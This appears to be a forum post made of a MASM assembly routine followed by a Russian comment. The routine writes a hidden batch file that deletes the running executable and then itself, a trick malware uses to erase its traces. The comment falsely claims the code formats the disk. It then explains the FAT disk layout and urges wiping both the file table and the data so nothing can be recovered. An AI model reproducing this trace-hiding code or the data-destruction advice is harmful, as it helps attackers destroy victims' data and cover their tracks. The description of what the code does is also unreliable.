.data
szBatchFile2 db ":k",13,10,"del %1",13,10,"if exist %1 goto k",13,10,"del %0",0
szBatchName2 db "a.bat",0
.code
DoSelfDelete proc
LOCAL hFile: DWORD
LOCAL bWritten: DWORD
invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH
invoke lstrcpy, offset lpBuf1, offset lpBuf2
lea eax, lpBuf2
xor edx, edx
@loop:
cmp byte ptr[eax], '\'
jne @next
mov edx, eax
@next:
inc eax
cmp byte ptr[eax], 0
jnz @loop
inc edx
mov byte ptr[edx], 0
invoke lstrcat, offset lpBuf2, offset szBatchName2
invoke CreateFile, offset lpBuf2, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
mov hFile, eax
inc eax
jz @end
invoke lstrlen, offset szBatchFile2
mov edx, eax
invoke WriteFile, hFile, offset szBatchFile2, edx, addr bWritten, NULL
invoke CloseHandle, hFile
szText SelfDelQuoteFmt2, '"%s"'
invoke wsprintf, offset lpBuf3, addr SelfDelQuoteFmt2, offset lpBuf1
xor eax, eax
push SW_HIDE
push eax
push offset lpBuf3
push offset lpBuf2
push offset szTextOpen
push eax
call ShellExecute
@end:
ret
DoSelfDelete end
этот код из хинча!форматирует диск может поможет тебе !
обьясняю тебе структуру винта в самом начале храниться зсгрусчик(если это активный диск я думаю) после этого таблица фаилов(FAT) после этого корневой католок уже тлько после него данные!
если ты убьешь ФАТ то востановить данные не составить труда а вот если убить и фат и данные то будет кул!
